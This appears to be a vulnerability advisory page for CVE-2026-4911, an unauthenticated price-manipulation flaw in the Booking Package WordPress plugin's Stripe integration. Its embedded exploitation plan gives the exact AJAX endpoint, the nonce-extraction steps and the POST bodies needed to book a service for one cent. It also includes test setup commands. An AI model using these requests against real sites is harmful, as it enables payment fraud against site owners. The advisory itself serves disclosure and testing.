Booking Package <= 1.7.06 - Unauthenticated Price Manipulation via 'amount' Parameter
Description
The Booking Package plugin for WordPress is vulnerable to Price Manipulation in versions up to, and including, 1.7.06 This is due to the intentForStripe() function passing user-controlled $_POST['amount'] directly to the Stripe PaymentIntent API without validation, and the commitStripe() function ignoring the server-calculated amount when confirming the payment. While the server correctly calculates the booking cost via getAmount() based on services, guests, taxes, and coupons, this calculated amount is never validated against or used to update the PaymentIntent because the critical code in CreditCard.php that would include the calculated amount in the PaymentIntent update is commented out. This makes it possible for unauthenticated attackers to book services at arbitrary prices (e.g., $0.01 instead of $500.00) by manipulating the amount parameter during PaymentIntent creation and completing the booking with the fraudulent payment.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.7.06What Changed in the Fix
Changes introduced in v1.7.07
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4911 (Booking Package Price Manipulation) ## 1. Vulnerability Summary The **Booking Package** plugin (<= 1.7.06) contains a critical flaw in its Stripe payment integration. The plugin allows the client to specify the payment amount during the creation of a Str…
Show full research plan
Exploitation Research Plan: CVE-2026-4911 (Booking Package Price Manipulation)
1. Vulnerability Summary
The Booking Package plugin (<= 1.7.06) contains a critical flaw in its Stripe payment integration. The plugin allows the client to specify the payment amount during the creation of a Stripe PaymentIntent via the intentForStripe() function without validating it against the server-side calculated cost of the booking. Furthermore, the commitStripe() function, which finalizes the booking after payment confirmation, fails to verify that the amount actually paid matches the required cost for the selected services, guests, and taxes. This is because the validation code in lib/CreditCard.php was explicitly commented out in the vulnerable versions.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
package_app_public_action(registered viaBOOKING_PACKAGEclass inindex.php) - Internal Action (Sub-type):
intentForStripeandcommitStripe(passed in the POST body) - Vulnerable Parameter:
amount(used duringintentForStripe) - Authentication: Unauthenticated. The AJAX action is registered via
wp_ajax_nopriv_package_app_public_action. - Preconditions:
- A booking calendar must be configured and published via shortcode.
- At least one service with a cost > $0.00 must exist.
- Stripe payment must be enabled (even in test mode).
3. Code Flow
- Entry Point: The browser sends an AJAX POST request to
admin-ajax.phpwithaction=package_app_public_action. - Routing: In
index.php, the$action_publichook triggers a handler (likely within a dynamically included class or handled via a switch inindex.phporSchedule.php). - Intent Creation (
intentForStripe):- The request reaches
lib/CreditCard.php -> intentForStripe(). - It reads
$_POST['amount']. - It calls the Stripe API to create a
PaymentIntentwith this user-supplied amount. - Vulnerability: There is no check comparing
$_POST['amount']to the result ofgetAmount().
- The request reaches
- Finalization (
commitStripe):- After the user "pays," the browser calls
commitStripeto finalize the booking. commitStripe()verifies with Stripe that thePaymentIntentID is "succeeded".- Vulnerability: It fails to check if the
amountin the successfulPaymentIntentmatches the actual cost calculated bygetAmount().
- After the user "pays," the browser calls
4. Nonce Acquisition Strategy
The plugin localizes a reservation_info object into the page containing the booking shortcode.
- Shortcode Identification: The plugin uses
[booking_package id=X]. - Page Creation: Use WP-CLI to create a page with a valid calendar ID (usually
1for the first calendar).wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[booking_package id=1]' - Extraction:
- Navigate to the newly created page.
- Use
browser_evalto extract the required identifiers from the globalreservation_infoobject. - Identifiers to extract:
window.reservation_info.noncewindow.reservation_info.action(should bepackage_app_public_action)window.reservation_info.accountKey(the calendar ID)
5. Exploitation Strategy
The goal is to book a expensive service for $0.01 (1 cent).
Step 1: Create Stripe Intent with Manipulated Amount
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action:package_app_public_actionnonce:[EXTRACTED_NONCE]type:intentForStripeamount:1(Representing 1 cent, or 0.01 in most currencies)currency:usd(or as per calendar settings)calendar_id:1
- Expected Response: A JSON object containing a
client_secretfrom Stripe.
Step 2: "Payment" (Simulated)
In a real attack, the attacker would use the client_secret to complete the payment via Stripe's JS SDK using a test card or a real card for the $0.01. For the PoC, since we cannot interact with Stripe's actual backend in an isolated environment, we look for the transition to commitStripe.
Step 3: Finalize Booking
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action:package_app_public_actionnonce:[EXTRACTED_NONCE]type:commitStripepayment_intent_id:[ID_FROM_STEP_1]booking_data:[JSON_DATA_OF_BOOKING]
- Note: In the vulnerable version,
commitStripewill see the PaymentIntent is valid for the amount ($0.01) and finalize the booking.
6. Test Data Setup
- Create Calendar: Ensure a calendar exists (Calendar ID 1).
- Create Service: Add a service to the calendar with a high price.
# Use SQL to verify/insert a service with price 10000 (cents) wp db query "UPDATE wp_booking_package_services SET cost = 10000 WHERE id = 1;" - Enable Stripe: Set a dummy Stripe key to satisfy plugin checks.
wp option update booking_package_stripe_secret_key "sk_test_4eC39HqLyjWDarjtT1zdp7dc" wp option update booking_package_stripe_publishable_key "pk_test_TYooMQauvdEDq54NiTphI7jx"
7. Expected Results
- The request to
intentForStripeshould return a success status with a Stripeclient_secret, even though theamountprovided (1) is significantly lower than the service cost (10000). - The plugin should not return an error stating "Invalid amount" or "Price mismatch".
8. Verification Steps
After the exploit attempts, check the booking records in the database:
# Check the latest booking amount
wp db query "SELECT * FROM wp_booking_package_bookings ORDER BY id DESC LIMIT 1;"
Confirm that the total_price or recorded payment in the database reflects the manipulated price ($0.01) while the service provided was the $100.00 service.
9. Alternative Approaches
If intentForStripe requires more complex booking_data, capture a legitimate request first using the browser_navigate and network monitoring.
- Navigate to the booking page.
- Fill out the form normally.
- Use
browser_evalto intercept the call tobooking_Package.intentForStripeor monitor thefetch/XHRrequests. - Replay the request with the
amountmodified to1.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.